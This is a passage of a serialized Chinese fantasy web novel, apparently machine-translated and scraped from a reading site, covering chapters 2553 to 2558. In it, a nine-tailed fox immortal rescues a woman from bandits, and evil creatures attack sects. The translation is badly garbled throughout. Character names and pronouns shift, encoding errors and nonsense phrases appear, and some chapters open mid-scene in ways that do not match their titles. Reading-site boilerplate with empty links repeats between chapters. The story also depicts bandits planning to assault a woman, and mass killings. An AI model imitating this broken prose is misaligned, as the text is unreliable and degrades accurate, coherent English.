    "Yes, I didn''t want to do it for a long time, shit! You can''t drink wine, women can''t touch it, what kind of robber is Lao Tzu? Dazhai is mainly like this, and Liefengzhai should be renamed as Monk Temple!"


    For a while, these thugs began to clamor.


    And this man also guessed at the same moment. Seeing this group of thugs who wantonly slander the "Master of the Great Wall", a sneer appeared at the corner of his mouth.


    At this moment, a mob said in a deep voice, "Since everyone has such big opinions, plus the fact that Bao Huarong suddenly disappeared and his life is unclear, then let''s just go the other way!"


    "I mean it too!"


    "Correct!"


    "But the opposite is the other way around. It''s not okay to say so empty-mouthed. You have to do something. I propose to wait for the girl to come back later, and we will do this woman first, so that even if the glamour comes back, Everyone dare not repeat it again!"


    This proposal can be described as extremely evil, it is equivalent to a nomination, tying everyone to a boat.


    Therefore, the remaining thugs looked at each other and seemed to hesitate, but soon these people nodded and agreed.


    The man glanced coldly at the mob who had said this proposal, and found that his face was joyful, and a flash of murderous intent flashed in his eyes.


    At this moment, I saw a woman walking back in despair.


    It was the woman who followed Bao Huarong, the master of Liefengzhai.


    Seeing her at this moment, her face was full of gloom and bleakness, especially her eyes, full of panic and helplessness.


    Seeing her coming, these thugs winked at each other, and then quietly dispersed and surrounded her.


    Of course, this woman was not aware of all this.


    But the mob who made the vicious proposal before came forward with all his face, "How about Girl Chen? Did you find the master of the village?"


    Chen Zuihui shook her head and said softly: "No, I searched the entire square and found no trace of him, how about you here?"


    The mob pretended to sigh with sorrow, "We didn''t find any trace of the village master, but there was another discovery!"


    "Oh? What did you find?" Chen Zuihui was shocked asked hurriedly.


    "There are too many people here, it''s not convenient to say, you will naturally know if you follow me over!"


    Chen Zuihui didn''t doubt that he was there, and followed the mob to a secluded place in the square.


    The people here are much sparse, and these mobs are deliberately blocked, so even if what happens, the outside world will not know at all.


    "Quickly tell me what the discovery was? Is it about him?" Chen Zuihui asked hurriedly.


    At this moment, the smile on the thug''s face disappeared instantly, and then he said in a hideous and evil tone.


    "It looks like you are quite loyal to that violent Huarong!"


    Chen Zuihui was shocked, "What do you mean?"


    "What do you mean? To tell you the truth, we are no longer members of Gale Wind Village. As for that Bao Huarong is probably dead, so we are here to send you to **** now!"


    With that said, the mob rushed up to kill Chen Zuihui.


    Chen Zuihui''s strength is extremely mediocre, how could he be the opponent of these thugs, so when he saw the thugs rushing towards him, despair was in her heart.


    It''s a pity that you didn''t know what Lushan you really looked like when you were about to die!


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on the "Favorites" below to record this (Chapter 2553 External Disturbance) reading record, and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2554： The mystery of the heavens

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    This thought flickered in the woman''s mind, and then she closed her eyes and prepared to die.


    But at this moment, accompanied by a muffled sound, the woman felt a few warm liquids splashed on her face.


    She opened her eyes blankly, but saw that the mob who had just flaunted their might to kill herself had already turned into blood.


    At the same time, I heard a lazy and cynical voice coming from behind this group of thugs who had been completely bewildered.


    "Tsk tsk, it feels really good to play again at the most critical moment, no wonder Xue An always pretends to be X every time!"


    With the voice, I saw the man walking slowly.


    Although he does not know his origin and details, this does not prevent these thugs from showing awe of him.


    After all, the pool of blood on the ground is still warm, and the instigator doesn''t need to ask, it must be this handsome but handsome man.


    So wherever he went, these thugs hurriedly separated a path.


    There was a mob who was farther away, moving out quietly, trying to escape here.


    But these people just took a few steps, a white light suddenly rushed out from behind the man, and then gave these thugs a hard shot.


    Happiness!


    These thugs seemed to be swiped in the face by a whip, and their figures flew out directly.


    Looking at the white light again, it had hidden behind the man again and disappeared.


    No one can see what it is.


    This unpredictable blow made these thugs instantaneously honest, standing still shivering.


    Then the man strolled to Chen Zuihui and smiled slightly.


    "Don''t be afraid, I am not a bad person, on the contrary, I am still a friend of the person you want to find!"


    "I don''t know Bao Huarong''s friend!" Chen Zuihui said coldly.


    "Hehe, who said that I am his friend, who I am talking about, must be very clear to you, after all, you also understand that the so-called violent Huarong has long ceased to exist!"


    Chen Zuihui was shocked and looked at this man in disbelief.


    Because what this man said was what she really thought in her heart.


    She is not a fool, on the contrary she is a very smart woman.


    Therefore, after getting along for a while, she easily guessed that the current master of Galefengzhai should be someone else''s pretending, as for the real violent Huarong, it is probably already dead.


    Although she knew about it, she had never revealed anything, but now she was drunk by this man, naturally shocked in her heart.


    The man smiled, "Don''t be so scared, get to know, I am Xue An''s good friend, my name is Fox Night!"


    Xue An!


    The name changed Chen Zuihui''s expression again, but she was as smart as her, and almost instantly understood that this must be a fact.


    But the more so, the more ugly her complexion.


    Because who didn''t know that Xue An is now in an extremely difficult situation, and it is very likely that he will not survive this Hundred Schools Conference.


    Especially the sword light rushing out of the battlefield just now proves this.


    That is clearly the sword of the Shen family, and even Chen Zuihui understands how terrifying the Shen family''s strength is.


    Seeing Chen Zuihui whose expression was changing, Hu Ye sighed inwardly.


    This guy actually only relied on a clone disguised as someone else to be able to fascinate a woman.


    Should this be said that his personality is amazing, or should he be scumbag enough?


    But at this moment, Hu Ye suddenly remembered Fan Mengxue, Tang Xuan''er, and his sister Hu Ying, who had disappeared, and her heart couldn''t help but sink.


    That''s right!


    At this moment, it is indeed the deity of Fox Night that appears on the square of the Yin Yang Family.


    And the reason why he took a strange risk to come here through the endless road, naturally came to Xue An.


    And the cause of everything is because the heavens have undergone an earth-shattering change.


    As for what has changed, it is not clear in a few words. I can only briefly introduce it now.


    To describe it in one sentence, it means that almost overnight, the traces of Xue An in the heavens were almost completely erased.


    First of all, Xue An is no longer in the memory of the people, and then there are many monks, including the strong men who were pulled up by Xue An with one hand.


    These people didn''t have the slightest impression of Xue An, as if this person had never appeared before.


    At the same time, Fan Mengxue, Tang Xuan''er, and Hu Ying also disappeared.


    Such a shocking change naturally alarmed Hu Ye, and then he further investigated and found that it was not only the people on the earth, but also the ordinary monks.


    Even the top powerhouse who reached the realm of the Immortal Emperor had no memory of Xue An at all.


    The only exception is myself, who still keeps all the memories of Xue An.


    This bizarre change made Fox Ye scared inexplicably, especially after visiting several former friends one after another, and found that none of them had any impression of Xue An.


    He even laughed at himself, saying whether he was confused, and when there had been some Red Lotus Immortal Venerable in the world, Hu Ye almost collapsed.


    He didn''t know what was going on!


    Why was it still praised by the heavens before, but a person recorded in history suddenly seems to have evaporated, completely disappearing in everyone''s memory.


    Not only that, even the traces of Fan Mengxue and Tang Xuan''er were erased.


    More importantly, when Huye inquired about the genealogy of the Qingqiu Fox Country and wanted to find the name of his younger sister, Huying, she found that there was only one direct bloodline of this generation, and her younger sister had never existed.


    At this time, Hu Ye finally realized the seriousness of the situation, as if an invisible giant hand had wiped out everything about Xue An forcibly by means of defying the sky.


    Then he made a decision. UU reading


    Go to Tianwaitian, find Xue An, and ask what is going on.


    Thinking of this, he immediately bid farewell to his wife Arou, and then embarked on the journey alone.


    God knows how nervous he was during the period before he came to Tianwaitian.


    If there is no trace of Xue An''s existence in the world beyond the heavens, then he really doesn''t know what to do.


    It''s pitiful to see Tian, ??when he came to Tianwaitian, the first news he heard was about the Hundred Schools Conference and Xue An.


    After hearing this familiar name, Hu Ye burst into tears and almost didn''t cry.


    Then he came to this Yin Yang home without hesitation, and finally rushed to the meeting place at the last moment.


    "What...what? His clone has obviously collapsed. Doesn''t this prove that he is very dangerous in the battlefield? Since you are his friend, is there any way to help him?" Chen Zuihui asked anxiously.


    Fox Ye looked embarrassed, and then coughed lightly, "Cough cough, don''t worry, that guy can''t die."


    He didn''t even feel embarrassed to say that with his current strength, even entering that battlefield was very strenuous.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2554: The illusion of the sky and the night of the fox), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2555： External disturbance

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    "Then what should we do now?" Chen Zuihui asked hurriedly without hesitation.


    Hu Ye smiled slightly, then turned to look at the shivering thugs.


    "Since he took great pains to control these thugs as clones, it proves that these people still have some uses, so the most important thing is to tame these guys first!"


    "tame?"


    Chen Zuihui did not understand, but she would understand in the next second.


    I saw nine white lights suddenly appeared behind Hu Ye, instantly enveloping the mob.


    After seeing the nine furry fox tails, Chen Zuihui''s mouth opened slightly, and her expression became a little dull.


    "Fox... vixen?"


    A few black lines appeared on Fox Ye''s triumphant face instantly, "It''s Fox Fairy, Fox Fairy doesn''t understand it!"


    "Isn''t that a meaning?" Chen Zuihui looked inexplicable.


    Fox night: "..."


    Then he sighed: "It''s terrible to have no culture, forget it, as a dignified nine-tailed celestial fox, I don''t bother to care about a female stream with you!"


    With that, Huye removed the nine foxtails, and then looked at the thugs in the field, the fierce color on his face was gone, replaced by infinite meekness and submissiveness.


    Hu Ye said indifferently: "Now I am your master, do you understand?"


    "Yes! Master!" These thugs bowed one after another and agreed in unison.


    Chen Zuihui''s eyes were full of shock, but she knew exactly how stubborn these thugs were.


    Xue An had previously suppressed these thugs with a clone of the violent Huarong, so that they did not dare to make any mistakes.


    But as soon as Xue An disappeared, these thugs began to move around.


    But he didn''t expect that under the vixen''s hands, these thugs were directly transformed without a grunt.


    As if feeling Chen Zuihui��s shock, Hu Ye said quite contentedly: ��Don��t forget that I��m a nine-tailed celestial fox. Isn��t it easy to deal with these guys? Just throw a illusion and let them change their previous mistakes and re-behave. NS!"


    Just as Huye was boasting, the square suddenly began to commotion.


    Then I heard the exclamation one after another.


    "what is that?"


    "God, it''s an evil thing! How come these people from the Yin Yang family suddenly become like this?"


    Accompanied by these exclamations came blood splashing and the sound of mourning.


    Hu Ye suddenly turned his head and looked around.


    really.


    I saw that the children of the Yin and Yang family, who had been standing around the square to maintain order, suddenly changed their images, directly turning from people into hideous and terrifying evil creatures, and slaying people around them.


    For a while, the entire square was in chaos.


    Hu Ye''s complexion suddenly became serious, and he said in a deep voice, "I think I know why Xue An left a clone on this square. He obviously expected that the children of the Yin and Yang family would show their original form, so he said. I intend to use these thugs to suppress the confrontation!"


    Speaking of this, seeing Fox Ye wave his hand, these thugs rushed towards these evil things without hesitation.


    Although the strength of these people was not good, under the transformation of Fox Ye, they all became intrepid and fearless of death. Therefore, their arrival immediately stopped the attack of these evil things and won a respite for the rest of the people. .


    At the same time, I saw Huye stepping forward and shouting loudly: "Everyone, now that the Yin and Yang family has completely fallen. These evil things are obviously trying to kill them. If you want to survive, the first thing is to unite and not panic. Lost!"


    His words gradually calmed down the crowd panicking because of the panic.


    Although the people on the square are not qualified to enter the Hundreds of Battlefields, being able to appear here also proves that they are not ordinary people.


    Therefore, after calming down, many people immediately saw the situation clearly, and then began to organize manpower to start fighting against evil things.


    The evil things that appeared in the square were not too strong, but these thugs were not very strong, and because they didn''t care about themselves, it only took a while and almost all the casualties were lost.


    By the time the reacting crowd began to resist, the thugs of Gale Wind Village had been wiped out.


    And this sacrifice also moved many people.


    "It''s from Liefengzhai!"


    "I really didn''t expect these thugs who usually rob homes and houses to be such a man!"


    "What mob, they are all heroes!"


    These comments reached Hu Ye''s ears, which made him feel a little bit emotional.


    In fact, he did not understand why Xue An valued this strong wind village so much before. Although these thugs were numerous, but if they were to commit crimes, they would do something serious and it would be over.


    Let alone fight against evil things.


    Until now, Hu Ye realized that Xue An had planned to let these thugs be chess pieces from the beginning.


    After all, what this group of people did is really worth it. Instead of killing them directly, it is better to let them die.


    So if things go well at that time, even if Fox Night does not appear, Xue An''s clone should forcefully control these thugs to charge into battle.


    It''s just that things have changed unexpectedly, and even Xue An''s clone disappeared. That''s why this plan almost went bankrupt.


    Thinking of this, Hu Ye couldn''t help raising his head to look at the upright statue of Donghuang Taiyi.


    At this moment, the sun was setting, and most of Donghuang Taiyi''s body was hidden in the brilliant afterglow.


    Especially its huge face, because of its overly three-dimensional features, caused its eyes to sink into darkness, like two invisible abysses, which made people feel chills in the heart.


    Fox Ye''s complexion became more and more solemn, because he could feel that the cold air on this idol was constantly growing.


    Faintly, even already dominating this space.


    As for the hundred battlefields held in the palm of its hand, at this moment, it is like a candle in the storm, and it may be extinguished at any time.


    Fox Ye''s heart tightened.


    Xue An, don''t have anything to do with you!


    Because the heavens today are the only one who remembers you.


    If you die again, it''s all over!


    Not only can you not come back, even my sister has to disappear completely.


    Just as Huye was thinking about it, UU read www.uuk��nshu.com and listened to someone talking next to him.


    "Xiongtai, thank you to your subordinates who gave up their lives just now, and bought precious time for everyone!"


    Hu Ye turned his head and looked around, and what he saw was a man with an extremely pale complexion.


    When the man saw Fox Night, he couldn''t help but was taken aback, and then said in amazement, "Fox tribe?"


    Hu Ye frowned slightly, thinking that he felt an aura that made him very uncomfortable from this man, and couldn''t help saying after a little thought.


    "Confucian disciple?"


    Then both of them looked a little embarrassed.


    All this is due to an unspeakable past between Confucianism and the fox race.


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2555 External Disorder), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2556： Heavenly turbulence

    You can search for "invincible, cool notes from the novels ( in Baidu to find the latest chapters!


    The disciples of Confucianism are not only the peerless great Confucian of Yan Jingcheng, but also the poor scholars who have no power to restrain the chicken.


    However, although these people have no other skills, the pens in their hands are quite powerful.


    And there was an ancestor of the fox clan who didn''t know why he offended a poor scholar.


    As a result, the book was angry, and simply wrote a story.


    In the story, the fox tribe often appeared as female fox spirits who charmed all living beings, and the objects they charmed were also scholars.


    Unexpectedly, such a seemingly boring story created a precedent.


    These poor scholars usually don''t care for their uncles or their grandparents.


    Therefore, as soon as this story came out, it immediately catered to the psychology of these scholars perfectly.


    After all, even a vixen is a woman!


    But such a stunning beauty is charmed by herself, who usually has no sense of existence at all, even if she is fantasizing it is quite cool.


    So these scholars began to rush to process and recreate, and the more they wrote, the more outrageous they were.


    The fox woman in the story has no dignity. Like a peerless licking dog, she pursues these scholars in every possible way, but the scholars refuse to take advantage of it.


    As a result, after these messy stories spread to the fox clan, these fox girls were almost annoyed.


    We must know that all fox tribes that can evolve into a human form have ancient blood and are very noble.


    Even among the demon race, the fox tribe belongs to the existence of the pyramid tip, and the average demon race can only look up to it.


    As a result, they were now slandered by a group of poor scholars. These fox girls naturally quit and immediately clashed with this group of scholars.


    Once a woman became angry, even Confucianism had to retreat, so at that time all the poor scholars were severely punished.


    But even so, the story about the fox girl and the scholar has been passed down, and it has been passed down for a long time.


    Although the Chinese Confucians on the earth have not inherited the essence of many Tianwaitian Confucianism, they have learned a lot about it.


    Therefore, this has become a public case between the fox family and the Confucianism. Even after so many years, it is still a thorn in the heart of the fox family.


    Hu Ye was feeling awkward in her heart, but she saw the man sighed, "Master Fox, what happened back then was my Confucian fault, but now we are not talking about those things. The most urgent task now is to quickly get rid of these evil things. , And then evacuate this dangerous place!"


    This person''s attitude was very candid, and Hu Ye temporarily put aside the prejudice in his heart, and then nodded.


    "You scholar is not as pedantic as others, what is your name?"


    "My name is Luo Linyuan! I am the three owners of Bailu Villa!"


    That''s right!


    It was Luo Linyuan who was good at the Ibu Tianshu and was seriously injured by spying on the secrets before the Hundred Schools Conference was held.


    At that time, Luo Linyuan began to retreat and heal his injuries because of his severe injuries. Naturally, it was impossible for him to enter the Hundreds of Battlefields in this state.


    However, Luo Linyuan is good at the technique of Ibu, knowing that this Hundreds of Families will definitely be chaotic, even outside the battlefield, it will not be so peaceful, so he forcibly left the pass and came to the square.


    really.


    Not long after he arrived, the disciples of the Yin-Yang family showed their original form.


    At this time, Hu Ye also said in a deep voice: "What you just said is correct. The top priority is indeed to eliminate all these evil things, but not for evacuation, but for the rescue of those trapped in the battlefield!"


    As soon as Hu Ye''s words fell, Luo Linyuan was startled, and then nodded heavily.


    "Yes!"


    At this moment, Luo Linyuan''s two senior brothers are trapped in the battlefield, how could he not be in a hurry?


    It''s just that he was afraid that telling the truth would scare the fox clan, but he didn''t expect that he thought the same as himself.


    Although Luo Linyuan was not healed from his serious injury, the reputation and prestige of the three Confucian villagers were still there, plus Fox Ye��s performance just now, so he quickly integrated a force to deal with these evils that appeared on the square. Objects were suppressed in all directions.


    Seeing that the battle is going well, many people can''t help but look relaxed, but there is no trace of joy on Luo Linyuan''s face.


    Because he knew very well that this battle was no trivial matter, and the evil things that appeared in the square might not even count as appetizers.


    It is even possible that the messenger behind the scenes did not take these people in the square seriously, and the real power was used elsewhere.


    For example, among the hundred battlefields, such as... the headquarters of each sect.


    When the second thought came into his mind, Luo Linyuan couldn''t help but frightened, his expression changed drastically.


    Because he suddenly realized that things were likely to be what he thought, or even worse.


    What he guessed was indeed correct, because when the chaos appeared on the square, the whole sky was also about to be stormy.


    Farmhouse headquarters.


    The once beautiful countryside has now turned into a piece of scorched earth.


    Many people died with their eyes wide open, and their faces were still frozen with fear and anger before they died.


    The man in black stood high in the sky, overlooking the ruins at his feet, and said with a sarcasm sneer.


    "It''s really toasting and not eating fine wine, even the Donghuang Lord''s order dare not follow the order, and it''s the blame for this end."


    As he was speaking, dozens of evil creatures rushed out of the ruins and bowed in front of the man in black.


    The leader was the evil thing that previously occupied only the body of the master of the true martial art, Lu Zhongxuan.


    "Has everything been cleaned up?"


    "My lord, I have completely plowed this farmhouse according to your instructions, and promise that no one will survive!"


    "Very good, then let me rush to the next place!"


    "Yes!"


    A piece of black smoke passed, and when it dissipated, the man in black had disappeared.


    Only the farmhouse headquarters, which has been in ruins, stood silently in the cold wind, seeming to announce the evils of these evil things silently.


    After starting from the farm, the men in black led the army of evil creatures and even scoured several sects, and they did not hide their whereabouts at all. They acted even more arrogantly, killing the sect at every turn, and the methods were extremely cruel.


    The news spread quickly, and then the whole sky was shaken.


    And it was in this situation that the man in black finally led the mighty army of evil things before the Soldier''s galaxy.


    The military strategist at this moment had already heard the news. Although Yue Shifang and many strategists were not present, the strategists quickly made all kinds of preparations with their excellent military skills.


    So when the man in black arrived here, what appeared in front of him was a heavily guarded scene.


    All the soldiers who stayed behind were in the battle, and under the leadership of several elders, they stood in battle, even in the face of this army of evil things that covered the sky and the sun, without any fear.


    Seeing this scene, the man in black couldn''t help but sneer.


    "I have to struggle when I die, all the elites in the military are not there, just want to block me with such a small soldier? What a joke!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2556 is chaotic), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2557： Army pressure

    Remember in one second����


    "Although I can''t figure out the final result, I have sorted out a few in private, and without exception, the entire Heavenly Dao Sect was covered by a strange force."


    Speaking of this, a look of fear appeared on Zhuge Zang''s face, and even his voice trembled, "The coldness and evil of this power have exceeded the imagination of ordinary people, and even I have never seen it."


    Xue listened quietly, and suddenly smiled, "Old Dao, do you know why I am waiting for the Heavenly Dao Sect in Qingqiu Fox Country?"


    Zhuge Zang was taken aback, "Isn''t it because of the emperor''s fate?"


    "That''s just one of them."


    Xue An put down the wine glass, blinked at Zhuge Zang, and said with a smile instead of a smile: "As for another reason...you will know by then!"


    Zhuge Zang: "..."


    Then he couldn''t help but said, "Did you mean it? Aroused my curiosity but didn''t go any further. Do you know that I would not sleep in this way!"


    Xue An chuckled, "A guy with a big bun once said a word to me."


    "What are you talking about?"


    "Don''t talk, don''t talk."


    Zhuge Zang didn''t come over in a breath, choked himself to cough, and it took a long time to return to normal, then sighed: "Really, if it wasn''t because I couldn''t beat you, I would have done it with you!"


    Xue An laughed loudly, and the laughter shook the entire Qingqiu Fox Country, making many fox tribes puzzled.


    "What''s the matter? Why is Brother Xue so happy?" Hu Ying, who was busy arranging a defensive formation with the fox vine, raised her head and said with a puzzled expression.


    Not far away, the octopus, who was waving dozens of items that touched and transported various items, couldn''t help but poked his head out, and said curiously: "Yeah, why are adults so happy?"


    Under a distraction, her touch shook slightly, and as a result, a chalcedony spar weighing several tons fell directly, and it happened to hit the head of Xiao Sha who was immersed in work.


    Bang.


    The chalcedony spar was torn apart, and Xiao Sha immediately fell to the ground.


    "Xiaosha!" An Yan exclaimed and rushed over.


    But Xiao Sha didn''t move, and seemed to have passed out to death.


    Zhang Xiaoyu was completely frightened and stupefied. Her face was as pale as a piece of white paper. Under the hustle and bustle, she hit a dead knot in the air, and then stumbled over.


    "Master Xiaosha, what''s the matter with you? Don''t be okay, Master Xiaosha, are you smashed to death?" Zhang Xiaoyu cried out in tears.


    "You were smashed to death!" Xiao Sha lying on the ground cried out in a muffled voice, then slowly got up from the ground and dusted his body.


    Zhang Xiaoyu took a breath, then thought of something, and forced a flattering smile on his face, "It''s all right, it''s all right, I''m going to work now."


    After all, she hurriedly returned to work and devoted herself to becoming a porter.


    The episode passed quickly.


    Everyone was busy with enthusiasm, and even the two little girls, Thinking and Nian, were doing their best.


    Everything was fine, but at this moment, Octopus''s touch suddenly trembled again.


    At this time, several pieces of jade mixed with various instruments all fell down.


    Xiaosha standing below was knocked to the ground again.


    Now Xiao Sha is hot, "Xiaoyu Zhang, what do you want to do? Are you looking for death?"


    With a roar, Xiao Sha wanted to rush over to clean up the octopus.


    But at this time, the octopus looked at the sky with horror, and trembled: "It''s not me, but the space is shaking."


    Everyone was shocked when they heard the words, and quickly began to investigate.


    really.


    The void was shaking with a slight amplitude, and all the planets within the scope of the Qingqiu Fox Country that it was driving were shaking lightly.


    At this time, everyone''s complexion changed.


    Because they all know that there is only one reason why the void trembles so softly, and that is that a very terrifying existence is coming.


    at the same time.


    Hu Yeye had already appeared on the high platform, with a solemn expression on his face and slowly said: "It''s Heavenly Dao Sect, they are here!"


    Beside him, Xue An and Zhuge Zang did not know when they had already arrived.


    Even Princess Long Er noticed the strangeness, and led her to rush over.


    Ailiqing''s face was full of horror, and his whole body was trembling slightly.


    Because she recognized the breath.


    At the beginning, her family was destroyed under this breath, so she was unforgettable about it.


    Everyone''s complexion then became serious, only Xue An''s complexion was calm, his eyes pierced and looked up at the sky, and said lightly: "It''s not just them, but there are many familiar auras."


    Words fall.


    But seeing the sky above the sky suddenly rippled, and then I saw a huge chariot ramming straight out, covering the entire sky in the blink of an eye, and even squeezing the star field of Qingqiu Fox Country. It''s a dead end.


    And on the chariot that traveled hundreds of thousands of miles away, there were countless disciples of Tiandaozong standing densely.


    Every disciple has a decent cultivation base, so when they assemble into a square formation, their aura is powerful, and even a phantom is formed above the square formation.


    Even more shocking is to stand in the front phalanx, because those who make up these phalanxes are all deacons of Tiandaozong.


    Anyone who gets outside is a resounding powerhouse, but at this moment it is like a vehicle-mounted battle.


    ^0^Remember in one second����


    It makes the scalp numb.


    And on the top of the magnificent chariot, Tiansu and the many high-ranking deacons of Tiandaozong stood together, looking down at everyone with cold eyes.


    Seeing this scene, the Saint Slaughter Temple who came afterwards couldn''t help but sigh, "It''s over, Qingqiu Fox Country is defeated."


    That''s right.


    This time, it was not only the people of the Heavenly Dao Sect who came to Qingqiu Fox Country, but also many people with good deeds.


    But most of them didn''t dare to get too close, instead, the Void, who stood in the distance, pointed at the Qingqiu Fox Country.


    "Tsk tusk, looking at the current state of the Qingqiu Fox Country, it should be undoubtedly defeated!"


    "That''s right, the Heavenly Dao Sect''s army is overwhelmed. If this group of foxes wants to survive, they have to surrender and surrender."


    certainly. UU reading


    These people talking are basically small roles.


    The existence of the identity of the Saintess of the Slaughter Temple, each standing in a certain corner, looked at the scene in front of them with sinking faces.


    As for how many of them come from ulterior motives, only they know.


    Not only that, when the people of Dao Sect descended on Qingqiu Fox Country, the big monster races also received the news at the first time, and then they watched the scene in various ways.


    The atmosphere is extremely suppressed.


    No one speaks.


    Quietly, you can hear the hunting sound of the wind blowing over the corners of the clothes.


    Finally, Tiansu''s gaze stayed on Xue An, and then he sneered.


    "Red Lotus Immortal Venerable, long time no see!"


    Dear, this chapter is over, I wish you a happy reading! ^0^

 Chapter 2558： Shen family shot

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    Almost in the blink of an eye, there was almost twice as much evil to fill the gap, and then again rushed towards Zhong Lishan and others frantically.


    In the face of such an offensive, even Zhong Lishan and others who were used to seeing big battles couldn''t help but turn blue.


    "These sons of **** don''t know what fear is at all, just like wild beasts, they can only kill!" Zhong Lishan gritted his teeth, then slapped a hand severely, smashing several evil things.


    But this palm also consumed a lot of his physical strength, so when the shot was over, his figure became a little bleak.


    Seeing this scene, Gu Xianyi stood in front of him silently and took most of the pressure for him.


    The battle unfolded like this.


    The real battlefield is like this, and it doesn''t give you the slightest chance to breathe.


    Even if Zhong Lishan and others have experienced the battlefield, they still feel the great pressure.


    But even so, they still clenched their teeth and refused to back down a step.


    Because behind them are soldiers and soldiers who are in an emergency adjustment state.


    Relying on the little time they won, these soldiers who were already on the verge of the limit finally had a little respite.


    Even if this respite may only be a wipe of the blood on his face, a sip of the water sac around his waist, or a hastily dressing up an exposed wound, it still seems so precious.


    So even for these soldiers and soldiers, they have to persist as much as possible for a period of time.


    After all, this is the only way to reduce unnecessary casualties as much as possible.


    boom!


    Another wave of charge.


    Gu Xianyi snorted, was shocked and withdrew dozens of steps, and then his body began to shake violently.


    This is a sign of injury.


    Seeing this scene, Zhong Lishan couldn''t help his heart break, and shouted: "Xianyi, are you all right!"


    "Don''t worry, I can''t die for the time being!" Gu Xianyi replied weakly.


    Zhong Lishan''s heart was a little settled, but immediately came infinite anger.


    "The woman who actually dared to hurt me, evil thing, grandpa, I fought with you today!"


    As he said, Zhong Lishan suddenly lifted his palms and took a sharp shot.


    Boom!


    These two palms directly shattered hundreds of evil creatures, and their courage and courage caused the actions of other evil creatures to stagnate.


    Taking advantage of this opportunity, Yue Huazang, Long Tianzong, Sima Yu and others all made their moves, unexpectedly pushing the front a bit forward.


    But that was all there was to it, because next they were faced with an even crazier counterattack from evil things.


    Zhong Lishan''s face was pale, and his body was slightly transparent.


    But he still stayed on his front, frantically bombarding the evil things in front of him.


    At this time, Gu Xianyi also hurried over, regardless of his injuries, and joined the battle group again.


    Facing this scene, the man in black grinned.


    "It''s really a bunch of old ghosts who don''t know how to live or die. Since you love performance so much, then I will let you all go and perform below!"


    With that said, he raised his hand, and planned to take the shot himself, but Zhong Lishan and the others.


    At this moment, he has not so much patience to continue to wait.


    After all, Lord Donghuang understood what he said, let him and other evil creatures clean up the major sects of the sky in the shortest time.


    So he didn''t have much time to spend with the military strategists.


    Otherwise, once the other evil things take the lead and win the first prize, then you will lose a lot.


    With this idea in mind, the man in black just wanted to make a move.


    But at this moment, a sword light suddenly flew in the distant void.


    The sword light was extremely fast, it came into the battlefield almost in the blink of an eye, and then slashed straight down with a terrifying power.


    The man in black trembled all over, and forcibly avoided the sword for a period of time.


    But he can avoid it, and his men are not so lucky.


    Hearing a muffled sound of puff puff, these evil things present were almost full of corpses.


    With just a single sword, the army of evil creatures that would have shielded the sky and the sun has lost more than half.


    For a time, the pressure on the military strategist was greatly reduced, and he couldn''t help but look at the source of this sword light.


    Also looking at the coming place was the man in black, he saw his face pale, and he roared in an infinitely bitter tone.


    "Shen Family!"


    really.


    After the sword light dissipated, a virtual water mirror image of a young man appeared in the void.


    It was Shen Muyu, the second son of the Shen family.


    He said in a deep voice: "There is a great chaos outside the sky, and the various sects are in crisis. At this moment of crisis, the Shen family is willing to do its best, so I use this sword to help."


    As soon as these words came out, the soldiers couldn''t help but breathe a sigh of relief.


    Especially Zhong Lishan touched his head with surprise on his face.


    "Hey, why did the Shen family suddenly change their **** this time?"


    Gu Xianyi glared at him, "Will you die if you don''t say a word?"


    Zhong Lishan sans and shuts his mouth.


    Then I saw Yue Huazang step forward and said to Shen Muyu, "Soldiers thank the Shen family for their help, and this kindness must be repaid!"


    Shen Muyu smiled slightly, "The old predecessors have said that it is the duty of swordsman to kill demons and remove demons! What''s more, the sects of the same heaven and the outside world must help each other!"


    But as soon as his words fell, the man in black suddenly yelled hysterically.


    "Don''t be proud of the Shen family. There is already a large army going to you. It should arrive soon. Then you will wait for death!"


    After saying this, the man in black looked at the soldier with infinite resentment, then turned and left.


    He knew very well that this battle must have failed.


    After all, after losing most of his men, it was already impossible for him to break through the military front.


    So he turned and left without hesitation.


    As for what he said before leaving, it was quite meaningful.


    You must know that this time against the various sects of Tianwaitian, it is not just his family who made the shot.


    Many Donghuang Taiyi''s men have also been dispatched.


    If they really win, then they are in danger.


    That''s why he used this threatening tone to reveal some information. UU reading www.uuk��nshu.com


    The purpose is to make the Shen family take precautions.


    This kind of style that I''m not good enough for anyone to think about is the most common state among evil things.


    Everyone knew these thoughts well, so when he turned and disappeared, Shen Muyu immediately turned off the water mirror sound transmission method, and then walked around the house solemnly.


    What happened today made his mind a little confused.


    Especially what he heard on the battlefield of Baijia has subverted his previous cognition.


    That''s why he left the Yin Yang house without hesitation, ready to come back to ask the owner of the house to question.


    But he didn''t expect that as soon as he went home with his front feet, news of the evil intrusion came on his back feet.


    Before he had time to see the Patriarch, he received several messages one after another, especially when he heard that the soldiers were besieged by regiments.


    Shen Muyu finally couldn''t hold it back, and immediately moved his hand to rescue the elite soldiers with a sword.


